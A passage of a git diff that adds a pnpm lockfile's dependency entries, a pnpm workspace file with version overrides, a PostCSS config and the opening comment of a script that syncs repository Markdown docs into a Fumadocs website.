unist-util-position: 5.0.0 + vfile-message: 4.0.3 + transitivePeerDependencies: + - supports-color + + hast-util-to-parse5@8.0.1: + dependencies: + '@types/hast': 3.0.5 + comma-separated-tokens: 2.0.3 + devlop: 1.1.0 + property-information: 7.2.0 + space-separated-tokens: 2.0.2 + web-namespaces: 2.0.1 + zwitch: 2.0.4 + + hast-util-whitespace@3.0.0: + dependencies: + '@types/hast': 3.0.5 + + hastscript@9.0.1: + dependencies: + '@types/hast': 3.0.5 + comma-separated-tokens: 2.0.3 + hast-util-parse-selector: 4.0.0 + property-information: 7.2.0 + space-separated-tokens: 2.0.2 + + html-void-elements@3.0.0: {} + + human-signals@2.1.0: {} + + ini@1.3.8: {} + + inline-style-parser@0.2.7: {} + + is-alphabetical@2.0.1: {} + + is-alphanumerical@2.0.1: + dependencies: + is-alphabetical: 2.0.1 + is-decimal: 2.0.1 + + is-decimal@2.0.1: {} + + is-docker@2.2.1: {} + + is-fullwidth-code-point@3.0.0: {} + + is-hexadecimal@2.0.1: {} + + is-plain-obj@4.1.0: {} + + is-port-reachable@4.0.0: {} + + is-stream@2.0.1: {} + + is-wsl@2.2.0: + dependencies: + is-docker: 2.2.1 + + isexe@2.0.0: {} + + jiti@2.7.0: {} + + json-schema-traverse@1.0.0: {} + + lightningcss-android-arm64@1.32.0: + optional: true + + lightningcss-darwin-arm64@1.32.0: + optional: true + + lightningcss-darwin-x64@1.32.0: + optional: true + + lightningcss-freebsd-x64@1.32.0: + optional: true + + lightningcss-linux-arm-gnueabihf@1.32.0: + optional: true + + lightningcss-linux-arm64-gnu@1.32.0: + optional: true + + lightningcss-linux-arm64-musl@1.32.0: + optional: true + + lightningcss-linux-x64-gnu@1.32.0: + optional: true + + lightningcss-linux-x64-musl@1.32.0: + optional: true + + lightningcss-win32-arm64-msvc@1.32.0: + optional: true + + lightningcss-win32-x64-msvc@1.32.0: + optional: true + + lightningcss@1.32.0: + dependencies: + detect-libc: 2.1.2 + optionalDependencies: + lightningcss-android-arm64: 1.32.0 + lightningcss-darwin-arm64: 1.32.0 + lightningcss-darwin-x64: 1.32.0 + lightningcss-freebsd-x64: 1.32.0 + lightningcss-linux-arm-gnueabihf: 1.32.0 + lightningcss-linux-arm64-gnu: 1.32.0 + lightningcss-linux-arm64-musl: 1.32.0 + lightningcss-linux-x64-gnu: 1.32.0 + lightningcss-linux-x64-musl: 1.32.0 + lightningcss-win32-arm64-msvc: 1.32.0 + lightningcss-win32-x64-msvc: 1.32.0 + + longest-streak@3.1.0: {} + + lucide-react@1.27.0(react@19.2.8): + dependencies: + react: 19.2.8 + + magic-string@0.30.21: + dependencies: + '@jridgewell/sourcemap-codec': 1.5.5 + + magic-string@1.1.0: + dependencies: + '@jridgewell/sourcemap-codec': 1.5.5 + + markdown-extensions@2.0.0: {} + + markdown-table@3.0.4: {} + + mdast-util-find-and-replace@3.0.2: + dependencies: + '@types/mdast': 4.0.4 + escape-string-regexp: 5.0.0 + unist-util-is: 6.0.1 + unist-util-visit-parents: 6.0.2 + + mdast-util-from-markdown@2.0.3: + dependencies: + '@types/mdast': 4.0.4 + '@types/unist': 3.0.3 + decode-named-character-reference: 1.3.0 + devlop: 1.1.0 + mdast-util-to-string: 4.0.0 + micromark: 4.0.2 + micromark-util-decode-numeric-character-reference: 2.0.2 + micromark-util-decode-string: 2.0.1 + micromark-util-normalize-identifier: 2.0.1 + micromark-util-symbol: 2.0.1 + micromark-util-types: 2.0.2 + unist-util-stringify-position: 4.0.0 + transitivePeerDependencies: + - supports-color + + mdast-util-gfm-autolink-literal@2.0.1: + dependencies: + '@types/mdast': 4.0.4 + ccount: 2.0.1 + devlop: 1.1.0 + mdast-util-find-and-replace: 3.0.2 + micromark-util-character: 2.1.1 + + mdast-util-gfm-footnote@2.1.0: + dependencies: + '@types/mdast': 4.0.4 + devlop: 1.1.0 + mdast-util-from-markdown: 2.0.3 + mdast-util-to-markdown: 2.1.2 + micromark-util-normalize-identifier: 2.0.1 + transitivePeerDependencies: + - supports-color + + mdast-util-gfm-strikethrough@2.0.0: + dependencies: + '@types/mdast': 4.0.4 + mdast-util-from-markdown: 2.0.3 + mdast-util-to-markdown: 2.1.2 + transitivePeerDependencies: + - supports-color + + mdast-util-gfm-table@2.0.0: + dependencies: + '@types/mdast': 4.0.4 + devlop: 1.1.0 + markdown-table: 3.0.4 + mdast-util-from-markdown: 2.0.3 + mdast-util-to-markdown: 2.1.2 + transitivePeerDependencies: + - supports-color + + mdast-util-gfm-task-list-item@2.0.0: + dependencies: + '@types/mdast': 4.0.4 + devlop: 1.1.0 + mdast-util-from-markdown: 2.0.3 + mdast-util-to-markdown: 2.1.2 + transitivePeerDependencies: + - supports-color + + mdast-util-gfm@3.1.0: + dependencies: + mdast-util-from-markdown: 2.0.3 + mdast-util-gfm-autolink-literal: 2.0.1 + mdast-util-gfm-footnote: 2.1.0 + mdast-util-gfm-strikethrough: 2.0.0 + mdast-util-gfm-table: 2.0.0 + mdast-util-gfm-task-list-item: 2.0.0 + mdast-util-to-markdown: 2.1.2 + transitivePeerDependencies: + - supports-color + + mdast-util-mdx-expression@2.0.1: + dependencies: + '@types/estree-jsx': 1.0.5 + '@types/hast': 3.0.5 + '@types/mdast': 4.0.4 + devlop: 1.1.0 + mdast-util-from-markdown: 2.0.3 + mdast-util-to-markdown: 2.1.2 + transitivePeerDependencies: + - supports-color + + mdast-util-mdx-jsx@3.2.0: + dependencies: + '@types/estree-jsx': 1.0.5 + '@types/hast': 3.0.5 + '@types/mdast': 4.0.4 + '@types/unist': 3.0.3 + ccount: 2.0.1 + devlop: 1.1.0 + mdast-util-from-markdown: 2.0.3 + mdast-util-to-markdown: 2.1.2 + parse-entities: 4.0.2 + stringify-entities: 4.0.4 + unist-util-stringify-position: 4.0.0 + vfile-message: 4.0.3 + transitivePeerDependencies: + - supports-color + + mdast-util-mdx@3.0.0: + dependencies: + mdast-util-from-markdown: 2.0.3 + mdast-util-mdx-expression: 2.0.1 + mdast-util-mdx-jsx: 3.2.0 + mdast-util-mdxjs-esm: 2.0.1 + mdast-util-to-markdown: 2.1.2 + transitivePeerDependencies: + - supports-color + + mdast-util-mdxjs-esm@2.0.1: + dependencies: + '@types/estree-jsx': 1.0.5 + '@types/hast': 3.0.5 + '@types/mdast': 4.0.4 + devlop: 1.1.0 + mdast-util-from-markdown: 2.0.3 + mdast-util-to-markdown: 2.1.2 + transitivePeerDependencies: + - supports-color + + mdast-util-phrasing@4.1.0: + dependencies: + '@types/mdast': 4.0.4 + unist-util-is: 6.0.1 + + mdast-util-to-hast@13.2.1: + dependencies: + '@types/hast': 3.0.5 + '@types/mdast': 4.0.4 + '@ungap/structured-clone': 1.3.3 + devlop: 1.1.0 + micromark-util-sanitize-uri: 2.0.1 + trim-lines: 3.0.1 + unist-util-position: 5.0.0 + unist-util-visit: 5.1.0 + vfile: 6.0.3 + + mdast-util-to-markdown@2.1.2: + dependencies: + '@types/mdast': 4.0.4 + '@types/unist': 3.0.3 + longest-streak: 3.1.0 + mdast-util-phrasing: 4.1.0 + mdast-util-to-string: 4.0.0 + micromark-util-classify-character: 2.0.1 + micromark-util-decode-string: 2.0.1 + unist-util-visit: 5.1.0 + zwitch: 2.0.4 + + mdast-util-to-string@4.0.0: + dependencies: + '@types/mdast': 4.0.4 + + merge-stream@2.0.0: {} + + micromark-core-commonmark@2.0.3: + dependencies: + decode-named-character-reference: 1.3.0 + devlop: 1.1.0 + micromark-factory-destination: 2.0.1 + micromark-factory-label: 2.0.1 + micromark-factory-space: 2.0.1 + micromark-factory-title: 2.0.1 + micromark-factory-whitespace: 2.0.1 + micromark-util-character: 2.1.1 + micromark-util-chunked: 2.0.1 + micromark-util-classify-character: 2.0.1 + micromark-util-html-tag-name: 2.0.1 + micromark-util-normalize-identifier: 2.0.1 + micromark-util-resolve-all: 2.0.1 + micromark-util-subtokenize: 2.1.0 + micromark-util-symbol: 2.0.1 + micromark-util-types: 2.0.2 + + micromark-extension-gfm-autolink-literal@2.1.0: + dependencies: + micromark-util-character: 2.1.1 + micromark-util-sanitize-uri: 2.0.1 + micromark-util-symbol: 2.0.1 + micromark-util-types: 2.0.2 + + micromark-extension-gfm-footnote@2.1.0: + dependencies: + devlop: 1.1.0 + micromark-core-commonmark: 2.0.3 + micromark-factory-space: 2.0.1 + micromark-util-character: 2.1.1 + micromark-util-normalize-identifier: 2.0.1 + micromark-util-sanitize-uri: 2.0.1 + micromark-util-symbol: 2.0.1 + micromark-util-types: 2.0.2 + + micromark-extension-gfm-strikethrough@2.1.0: + dependencies: + devlop: 1.1.0 + micromark-util-chunked: 2.0.1 + micromark-util-classify-character: 2.0.1 + micromark-util-resolve-all: 2.0.1 + micromark-util-symbol: 2.0.1 + micromark-util-types: 2.0.2 + + micromark-extension-gfm-table@2.1.1: + dependencies: + devlop: 1.1.0 + micromark-factory-space: 2.0.1 + micromark-util-character: 2.1.1 + micromark-util-symbol: 2.0.1 + micromark-util-types: 2.0.2 + + micromark-extension-gfm-tagfilter@2.0.0: + dependencies: + micromark-util-types: 2.0.2 + + micromark-extension-gfm-task-list-item@2.1.0: + dependencies: + devlop: 1.1.0 + micromark-factory-space: 2.0.1 + micromark-util-character: 2.1.1 + micromark-util-symbol: 2.0.1 + micromark-util-types: 2.0.2 + + micromark-extension-gfm@3.0.0: + dependencies: + micromark-extension-gfm-autolink-literal: 2.1.0 + micromark-extension-gfm-footnote: 2.1.0 + micromark-extension-gfm-strikethrough: 2.1.0 + micromark-extension-gfm-table: 2.1.1 + micromark-extension-gfm-tagfilter: 2.0.0 + micromark-extension-gfm-task-list-item: 2.1.0 + micromark-util-combine-extensions: 2.0.1 + micromark-util-types: 2.0.2 + + micromark-extension-mdx-expression@3.0.1: + dependencies: + '@types/estree': 1.0.9 + devlop: 1.1.0 + micromark-factory-mdx-expression: 2.0.3 + micromark-factory-space: 2.0.1 + micromark-util-character: 2.1.1 + micromark-util-events-to-acorn: 2.0.3 + micromark-util-symbol: 2.0.1 + micromark-util-types: 2.0.2 + + micromark-extension-mdx-jsx@3.0.2: + dependencies: + '@types/estree': 1.0.9 + devlop: 1.1.0 + estree-util-is-identifier-name: 3.0.0 + micromark-factory-mdx-expression: 2.0.3 + micromark-factory-space: 2.0.1 + micromark-util-character: 2.1.1 + micromark-util-events-to-acorn: 2.0.3 + micromark-util-symbol: 2.0.1 + micromark-util-types: 2.0.2 + vfile-message: 4.0.3 + + micromark-extension-mdx-md@2.0.0: + dependencies: + micromark-util-types: 2.0.2 + + micromark-extension-mdxjs-esm@3.0.0: + dependencies: + '@types/estree': 1.0.9 + devlop: 1.1.0 + micromark-core-commonmark: 2.0.3 + micromark-util-character: 2.1.1 + micromark-util-events-to-acorn: 2.0.3 + micromark-util-symbol: 2.0.1 + micromark-util-types: 2.0.2 + unist-util-position-from-estree: 2.0.0 + vfile-message: 4.0.3 + + micromark-extension-mdxjs@3.0.0: + dependencies: + acorn: 8.18.0 + acorn-jsx: 5.3.2(acorn@8.18.0) + micromark-extension-mdx-expression: 3.0.1 + micromark-extension-mdx-jsx: 3.0.2 + micromark-extension-mdx-md: 2.0.0 + micromark-extension-mdxjs-esm: 3.0.0 + micromark-util-combine-extensions: 2.0.1 + micromark-util-types: 2.0.2 + + micromark-factory-destination@2.0.1: + dependencies: + micromark-util-character: 2.1.1 + micromark-util-symbol: 2.0.1 + micromark-util-types: 2.0.2 + + micromark-factory-label@2.0.1: + dependencies: + devlop: 1.1.0 + micromark-util-character: 2.1.1 + micromark-util-symbol: 2.0.1 + micromark-util-types: 2.0.2 + + micromark-factory-mdx-expression@2.0.3: + dependencies: + '@types/estree': 1.0.9 + devlop: 1.1.0 + micromark-factory-space: 2.0.1 + micromark-util-character: 2.1.1 + micromark-util-events-to-acorn: 2.0.3 + micromark-util-symbol: 2.0.1 + micromark-util-types: 2.0.2 + unist-util-position-from-estree: 2.0.0 + vfile-message: 4.0.3 + + micromark-factory-space@2.0.1: + dependencies: + micromark-util-character: 2.1.1 + micromark-util-types: 2.0.2 + + micromark-factory-title@2.0.1: + dependencies: + micromark-factory-space: 2.0.1 + micromark-util-character: 2.1.1 + micromark-util-symbol: 2.0.1 + micromark-util-types: 2.0.2 + + micromark-factory-whitespace@2.0.1: + dependencies: + micromark-factory-space: 2.0.1 + micromark-util-character: 2.1.1 + micromark-util-symbol: 2.0.1 + micromark-util-types: 2.0.2 + + micromark-util-character@2.1.1: + dependencies: + micromark-util-symbol: 2.0.1 + micromark-util-types: 2.0.2 + + micromark-util-chunked@2.0.1: + dependencies: + micromark-util-symbol: 2.0.1 + + micromark-util-classify-character@2.0.1: + dependencies: + micromark-util-character: 2.1.1 + micromark-util-symbol: 2.0.1 + micromark-util-types: 2.0.2 + + micromark-util-combine-extensions@2.0.1: + dependencies: + micromark-util-chunked: 2.0.1 + micromark-util-types: 2.0.2 + + micromark-util-decode-numeric-character-reference@2.0.2: + dependencies: + micromark-util-symbol: 2.0.1 + + micromark-util-decode-string@2.0.1: + dependencies: + decode-named-character-reference: 1.3.0 + micromark-util-character: 2.1.1 + micromark-util-decode-numeric-character-reference: 2.0.2 + micromark-util-symbol: 2.0.1 + + micromark-util-encode@2.0.1: {} + + micromark-util-events-to-acorn@2.0.3: + dependencies: + '@types/estree': 1.0.9 + '@types/unist': 3.0.3 + devlop: 1.1.0 + estree-util-visit: 2.0.0 + micromark-util-symbol: 2.0.1 + micromark-util-types: 2.0.2 + vfile-message: 4.0.3 + + micromark-util-html-tag-name@2.0.1: {} + + micromark-util-normalize-identifier@2.0.1: + dependencies: + micromark-util-symbol: 2.0.1 + + micromark-util-resolve-all@2.0.1: + dependencies: + micromark-util-types: 2.0.2 + + micromark-util-sanitize-uri@2.0.1: + dependencies: + micromark-util-character: 2.1.1 + micromark-util-encode: 2.0.1 + micromark-util-symbol: 2.0.1 + + micromark-util-subtokenize@2.1.0: + dependencies: + devlop: 1.1.0 + micromark-util-chunked: 2.0.1 + micromark-util-symbol: 2.0.1 + micromark-util-types: 2.0.2 + + micromark-util-symbol@2.0.1: {} + + micromark-util-types@2.0.2: {} + + micromark@4.0.2: + dependencies: + '@types/debug': 4.1.13 + debug: 4.4.3 + decode-named-character-reference: 1.3.0 + devlop: 1.1.0 + micromark-core-commonmark: 2.0.3 + micromark-factory-space: 2.0.1 + micromark-util-character: 2.1.1 + micromark-util-chunked: 2.0.1 + micromark-util-combine-extensions: 2.0.1 + micromark-util-decode-numeric-character-reference: 2.0.2 + micromark-util-encode: 2.0.1 + micromark-util-normalize-identifier: 2.0.1 + micromark-util-resolve-all: 2.0.1 + micromark-util-sanitize-uri: 2.0.1 + micromark-util-subtokenize: 2.1.0 + micromark-util-symbol: 2.0.1 + micromark-util-types: 2.0.2 + transitivePeerDependencies: + - supports-color + + mime-db@1.33.0: {} + + mime-db@1.54.0: {} + + mime-types@2.1.18: + dependencies: + mime-db: 1.33.0 + + mimic-fn@2.1.0: {} + + minimatch@3.1.5: + dependencies: + brace-expansion: 5.0.9 + + minimist@1.2.8: {} + + motion-dom@12.43.0: + dependencies: + motion-utils: 12.39.0 + + motion-utils@12.39.0: {} + + motion@12.43.0(react-dom@19.2.8(react@19.2.8))(react@19.2.8): + dependencies: + framer-motion: 12.43.0(react-dom@19.2.8(react@19.2.8))(react@19.2.8) + tslib: 2.8.1 + optionalDependencies: + react: 19.2.8 + react-dom: 19.2.8(react@19.2.8) + + ms@2.0.0: {} + + ms@2.1.3: {} + + nanoid@3.3.16: {} + + negotiator@0.6.4: {} + + next-themes@0.4.6(react-dom@19.2.8(react@19.2.8))(react@19.2.8): + dependencies: + react: 19.2.8 + react-dom: 19.2.8(react@19.2.8) + + next@16.2.12(@types/node@26.1.2)(react-dom@19.2.8(react@19.2.8))(react@19.2.8): + dependencies: + '@next/env': 16.2.12 + '@swc/helpers': 0.5.15 + baseline-browser-mapping: 2.11.11 + caniuse-lite: 1.0.30001806 + postcss: 8.5.25 + react: 19.2.8 + react-dom: 19.2.8(react@19.2.8) + styled-jsx: 5.1.6(react@19.2.8) + optionalDependencies: + '@next/swc-darwin-arm64': 16.2.12 + '@next/swc-darwin-x64': 16.2.12 + '@next/swc-linux-arm64-gnu': 16.2.12 + '@next/swc-linux-arm64-musl': 16.2.12 + '@next/swc-linux-x64-gnu': 16.2.12 + '@next/swc-linux-x64-musl': 16.2.12 + '@next/swc-win32-arm64-msvc': 16.2.12 + '@next/swc-win32-x64-msvc': 16.2.12 + sharp: 0.35.3(@types/node@26.1.2) + transitivePeerDependencies: + - '@babel/core' + - '@types/node' + - babel-plugin-macros + + npm-run-path@4.0.1: + dependencies: + path-key: 3.1.1 + + npm-to-yarn@3.1.0: {} + + on-headers@1.1.0: {} + + onetime@5.1.2: + dependencies: + mimic-fn: 2.1.0 + + oniguruma-parser@0.12.2: {} + + oniguruma-to-es@4.3.6: + dependencies: + oniguruma-parser: 0.12.2 + regex: 6.1.0 + regex-recursion: 6.0.2 + + parse-entities@4.0.2: + dependencies: + '@types/unist': 2.0.11 + character-entities-legacy: 3.0.0 + character-reference-invalid: 2.0.1 + decode-named-character-reference: 1.3.0 + is-alphanumerical: 2.0.1 + is-decimal: 2.0.1 + is-hexadecimal: 2.0.1 + + parse5@7.3.0: + dependencies: + entities: 6.0.1 + + path-is-inside@1.0.2: {} + + path-key@3.1.1: {} + + path-to-regexp@3.3.0: {} + + picocolors@1.1.1: {} + + picomatch@4.0.5: {} + + postcss@8.5.25: + dependencies: + nanoid: 3.3.16 + picocolors: 1.1.1 + source-map-js: 1.2.1 + + property-information@7.2.0: {} + + range-parser@1.2.0: {} + + rc@1.2.8: + dependencies: + deep-extend: 0.6.0 + ini: 1.3.8 + minimist: 1.2.8 + strip-json-comments: 2.0.1 + + react-dom@19.2.8(react@19.2.8): + dependencies: + react: 19.2.8 + scheduler: 0.27.0 + + react-remove-scroll-bar@2.3.8(@types/react@19.2.18)(react@19.2.8): + dependencies: + react: 19.2.8 + react-style-singleton: 2.2.3(@types/react@19.2.18)(react@19.2.8) + tslib: 2.8.1 + optionalDependencies: + '@types/react': 19.2.18 + + react-remove-scroll@2.7.2(@types/react@19.2.18)(react@19.2.8): + dependencies: + react: 19.2.8 + react-remove-scroll-bar: 2.3.8(@types/react@19.2.18)(react@19.2.8) + react-style-singleton: 2.2.3(@types/react@19.2.18)(react@19.2.8) + tslib: 2.8.1 + use-callback-ref: 1.3.3(@types/react@19.2.18)(react@19.2.8) + use-sidecar: 1.1.3(@types/react@19.2.18)(react@19.2.8) + optionalDependencies: + '@types/react': 19.2.18 + + react-style-singleton@2.2.3(@types/react@19.2.18)(react@19.2.8): + dependencies: + get-nonce: 1.0.1 + react: 19.2.8 + tslib: 2.8.1 + optionalDependencies: + '@types/react': 19.2.18 + + react@19.2.8: {} + + readdirp@5.0.0: {} + + recma-build-jsx@1.0.0: + dependencies: + '@types/estree': 1.0.9 + estree-util-build-jsx: 3.0.1 + vfile: 6.0.3 + + recma-jsx@1.0.1(acorn@8.18.0): + dependencies: + acorn: 8.18.0 + acorn-jsx: 5.3.2(acorn@8.18.0) + estree-util-to-js: 2.0.0 + recma-parse: 1.0.0 + recma-stringify: 1.0.0 + unified: 11.0.5 + + recma-parse@1.0.0: + dependencies: + '@types/estree': 1.0.9 + esast-util-from-js: 2.0.1 + unified: 11.0.5 + vfile: 6.0.3 + + recma-stringify@1.0.0: + dependencies: + '@types/estree': 1.0.9 + estree-util-to-js: 2.0.0 + unified: 11.0.5 + vfile: 6.0.3 + + regex-recursion@6.0.2: + dependencies: + regex-utilities: 2.3.0 + + regex-utilities@2.3.0: {} + + regex@6.1.0: + dependencies: + regex-utilities: 2.3.0 + + registry-auth-token@3.3.2: + dependencies: + rc: 1.2.8 + safe-buffer: 5.2.1 + + registry-url@3.1.0: + dependencies: + rc: 1.2.8 + + rehype-raw@7.0.0: + dependencies: + '@types/hast': 3.0.5 + hast-util-raw: 9.1.0 + vfile: 6.0.3 + + rehype-recma@1.0.0: + dependencies: + '@types/estree': 1.0.9 + '@types/hast': 3.0.5 + hast-util-to-estree: 3.1.3 + transitivePeerDependencies: + - supports-color + + remark-gfm@4.0.1: + dependencies: + '@types/mdast': 4.0.4 + mdast-util-gfm: 3.1.0 + micromark-extension-gfm: 3.0.0 + remark-parse: 11.0.0 + remark-stringify: 11.0.0 + unified: 11.0.5 + transitivePeerDependencies: + - supports-color + + remark-mdx@3.1.1: + dependencies: + mdast-util-mdx: 3.0.0 + micromark-extension-mdxjs: 3.0.0 + transitivePeerDependencies: + - supports-color + + remark-parse@11.0.0: + dependencies: + '@types/mdast': 4.0.4 + mdast-util-from-markdown: 2.0.3 + micromark-util-types: 2.0.2 + unified: 11.0.5 + transitivePeerDependencies: + - supports-color + + remark-rehype@11.1.2: + dependencies: + '@types/hast': 3.0.5 + '@types/mdast': 4.0.4 + mdast-util-to-hast: 13.2.1 + unified: 11.0.5 + vfile: 6.0.3 + + remark-stringify@11.0.0: + dependencies: + '@types/mdast': 4.0.4 + mdast-util-to-markdown: 2.1.2 + unified: 11.0.5 + + remark@15.0.1: + dependencies: + '@types/mdast': 4.0.4 + remark-parse: 11.0.0 + remark-stringify: 11.0.0 + unified: 11.0.5 + transitivePeerDependencies: + - supports-color + + require-from-string@2.0.2: {} + + safe-buffer@5.2.1: {} + + scheduler@0.27.0: {} + + scroll-into-view-if-needed@3.1.0: + dependencies: + compute-scroll-into-view: 3.1.1 + + semver@7.8.5: + optional: true + + serve-handler@6.1.7: + dependencies: + bytes: 3.0.0 + content-disposition: 0.5.2 + mime-types: 2.1.18 + minimatch: 3.1.5 + path-is-inside: 1.0.2 + path-to-regexp: 3.3.0 + range-parser: 1.2.0 + + serve@14.2.6: + dependencies: + '@zeit/schemas': 2.36.0 + ajv: 8.18.0 + arg: 5.0.2 + boxen: 7.0.0 + chalk: 5.0.1 + chalk-template: 0.4.0 + clipboardy: 3.0.0 + compression: 1.8.1 + is-port-reachable: 4.0.0 + serve-handler: 6.1.7 + update-check: 1.5.4 + transitivePeerDependencies: + - supports-color + + sharp@0.35.3(@types/node@26.1.2): + dependencies: + '@img/colour': 1.1.0 + detect-libc: 2.1.2 + semver: 7.8.5 + optionalDependencies: + '@img/sharp-darwin-arm64': 0.35.3 + '@img/sharp-darwin-x64': 0.35.3 + '@img/sharp-freebsd-wasm32': 0.35.3 + '@img/sharp-libvips-darwin-arm64': 1.3.2 + '@img/sharp-libvips-darwin-x64': 1.3.2 + '@img/sharp-libvips-linux-arm': 1.3.2 + '@img/sharp-libvips-linux-arm64': 1.3.2 + '@img/sharp-libvips-linux-ppc64': 1.3.2 + '@img/sharp-libvips-linux-riscv64': 1.3.2 + '@img/sharp-libvips-linux-s390x': 1.3.2 + '@img/sharp-libvips-linux-x64': 1.3.2 + '@img/sharp-libvips-linuxmusl-arm64': 1.3.2 + '@img/sharp-libvips-linuxmusl-x64': 1.3.2 + '@img/sharp-linux-arm': 0.35.3 + '@img/sharp-linux-arm64': 0.35.3 + '@img/sharp-linux-ppc64': 0.35.3 + '@img/sharp-linux-riscv64': 0.35.3 + '@img/sharp-linux-s390x': 0.35.3 + '@img/sharp-linux-x64': 0.35.3 + '@img/sharp-linuxmusl-arm64': 0.35.3 + '@img/sharp-linuxmusl-x64': 0.35.3 + '@img/sharp-webcontainers-wasm32': 0.35.3 + '@img/sharp-win32-arm64': 0.35.3 + '@img/sharp-win32-ia32': 0.35.3 + '@img/sharp-win32-x64': 0.35.3 + '@types/node': 26.1.2 + optional: true + + shebang-command@2.0.0: + dependencies: + shebang-regex: 3.0.0 + + shebang-regex@3.0.0: {} + + shiki@4.4.1: + dependencies: + '@shikijs/core': 4.4.1 + '@shikijs/engine-javascript': 4.4.1 + '@shikijs/engine-oniguruma': 4.4.1 + '@shikijs/langs': 4.4.1 + '@shikijs/themes': 4.4.1 + '@shikijs/types': 4.4.1 + '@shikijs/vscode-textmate': 10.0.2 + '@types/hast': 3.0.5 + + signal-exit@3.0.7: {} + + source-map-js@1.2.1: {} + + source-map@0.7.6: {} + + space-separated-tokens@2.0.2: {} + + string-width@4.2.3: + dependencies: + emoji-regex: 8.0.0 + is-fullwidth-code-point: 3.0.0 + strip-ansi: 6.0.1 + + string-width@5.1.2: + dependencies: + eastasianwidth: 0.2.0 + emoji-regex: 9.2.2 + strip-ansi: 7.2.0 + + stringify-entities@4.0.4: + dependencies: + character-entities-html4: 2.1.0 + character-entities-legacy: 3.0.0 + + strip-ansi@6.0.1: + dependencies: + ansi-regex: 5.0.1 + + strip-ansi@7.2.0: + dependencies: + ansi-regex: 6.2.2 + + strip-final-newline@2.0.0: {} + + strip-json-comments@2.0.1: {} + + style-to-js@1.1.21: + dependencies: + style-to-object: 1.0.14 + + style-to-object@1.0.14: + dependencies: + inline-style-parser: 0.2.7 + + styled-jsx@5.1.6(react@19.2.8): + dependencies: + client-only: 0.0.1 + react: 19.2.8 + + supports-color@7.2.0: + dependencies: + has-flag: 4.0.0 + + tailwindcss@4.3.3: {} + + tapable@2.3.3: {} + + tinyexec@1.3.0: {} + + tinyglobby@0.2.17: + dependencies: + fdir: 6.5.0(picomatch@4.0.5) + picomatch: 4.0.5 + + trim-lines@3.0.1: {} + + trough@2.2.0: {} + + tslib@2.8.1: {} + + type-fest@2.19.0: {} + + typescript@6.0.3: {} + + undici-types@8.3.0: {} + + unified@11.0.5: + dependencies: + '@types/unist': 3.0.3 + bail: 2.0.2 + devlop: 1.1.0 + extend: 3.0.2 + is-plain-obj: 4.1.0 + trough: 2.2.0 + vfile: 6.0.3 + + unist-util-is@6.0.1: + dependencies: + '@types/unist': 3.0.3 + + unist-util-position-from-estree@2.0.0: + dependencies: + '@types/unist': 3.0.3 + + unist-util-position@5.0.0: + dependencies: + '@types/unist': 3.0.3 + + unist-util-remove-position@5.0.0: + dependencies: + '@types/unist': 3.0.3 + unist-util-visit: 5.1.0 + + unist-util-stringify-position@4.0.0: + dependencies: + '@types/unist': 3.0.3 + + unist-util-visit-parents@6.0.2: + dependencies: + '@types/unist': 3.0.3 + unist-util-is: 6.0.1 + + unist-util-visit@5.1.0: + dependencies: + '@types/unist': 3.0.3 + unist-util-is: 6.0.1 + unist-util-visit-parents: 6.0.2 + + update-check@1.5.4: + dependencies: + registry-auth-token: 3.3.2 + registry-url: 3.1.0 + + use-callback-ref@1.3.3(@types/react@19.2.18)(react@19.2.8): + dependencies: + react: 19.2.8 + tslib: 2.8.1 + optionalDependencies: + '@types/react': 19.2.18 + + use-sidecar@1.1.3(@types/react@19.2.18)(react@19.2.8): + dependencies: + detect-node-es: 1.1.0 + react: 19.2.8 + tslib: 2.8.1 + optionalDependencies: + '@types/react': 19.2.18 + + vary@1.1.2: {} + + vfile-location@5.0.3: + dependencies: + '@types/unist': 3.0.3 + vfile: 6.0.3 + + vfile-message@4.0.3: + dependencies: + '@types/unist': 3.0.3 + unist-util-stringify-position: 4.0.0 + + vfile@6.0.3: + dependencies: + '@types/unist': 3.0.3 + vfile-message: 4.0.3 + + web-namespaces@2.0.1: {} + + which@2.0.2: + dependencies: + isexe: 2.0.0 + + widest-line@4.0.1: + dependencies: + string-width: 5.1.2 + + wrap-ansi@8.1.0: + dependencies: + ansi-styles: 6.2.3 + string-width: 5.1.2 + strip-ansi: 7.2.0 + + yaml@2.9.0: {} + + yuku-analyzer@0.8.3: + dependencies: + '@yuku-toolchain/types': 0.8.3 + yuku-ast: 0.8.3 + optionalDependencies: + '@yuku-analyzer/binding-android-arm64': 0.8.3 + '@yuku-analyzer/binding-darwin-arm64': 0.8.3 + '@yuku-analyzer/binding-darwin-x64': 0.8.3 + '@yuku-analyzer/binding-freebsd-x64': 0.8.3 + '@yuku-analyzer/binding-linux-arm-gnu': 0.8.3 + '@yuku-analyzer/binding-linux-arm-musl': 0.8.3 + '@yuku-analyzer/binding-linux-arm64-gnu': 0.8.3 + '@yuku-analyzer/binding-linux-arm64-musl': 0.8.3 + '@yuku-analyzer/binding-linux-x64-gnu': 0.8.3 + '@yuku-analyzer/binding-linux-x64-musl': 0.8.3 + '@yuku-analyzer/binding-win32-arm64': 0.8.3 + '@yuku-analyzer/binding-win32-x64': 0.8.3 + + yuku-ast@0.8.3: + dependencies: + '@yuku-toolchain/types': 0.8.3 + + zod@4.4.3: {} + + zwitch@2.0.4: {} diff --git a/website/pnpm-workspace.yaml b/website/pnpm-workspace.yaml new file mode 100644 index 0000000000..b82385fd53 --- /dev/null +++ b/website/pnpm-workspace.yaml @@ -0,0 +1,11 @@ +packages: + - '.' + +allowBuilds: + esbuild@0.28.1: true + +overrides: + postcss: ^8.5.22 + sharp: ^0.35.3 + brace-expansion@<=5.0.8: '>=5.0.9 <6' + fast-uri@<3.1.5: ^3.1.5 diff --git a/website/postcss.config.mjs b/website/postcss.config.mjs new file mode 100644 index 0000000000..297374d80b --- /dev/null +++ b/website/postcss.config.mjs @@ -0,0 +1,7 @@ +const config = { + plugins: { + '@tailwindcss/postcss': {}, + }, +}; + +export default config; diff --git a/website/scripts/sync-docs.mjs b/website/scripts/sync-docs.mjs new file mode 100644 index 0000000000..2db71402cb --- /dev/null +++ b/website/scripts/sync-docs.mjs @@ -0,0 +1,185 @@ +#!/usr/bin/env node +// Generate the Fumadocs content set (`content/docs/**`) from the repository's +// canonical Markdown in `../docs`. This is the mechanical mirror: docs/*.md is +// the single source of truth, and the site is a faithful, always-current view +// of it. Runs as the first step of `build`/`dev`, and on a cadence in CI. +// +// For each published doc (see docs.sync.config.mjs) it: +// - derives the page title from the leading `# H1` (and strips that H1), +// - derives a short description from the first paragraph, +// - injects Fumadocs frontmatter (title / description / icon / githubSource), +// - rewrites internal `*.md` links to their `/docs/...` routes, +// - writes the result as a `.md` file (Fumadocs parses 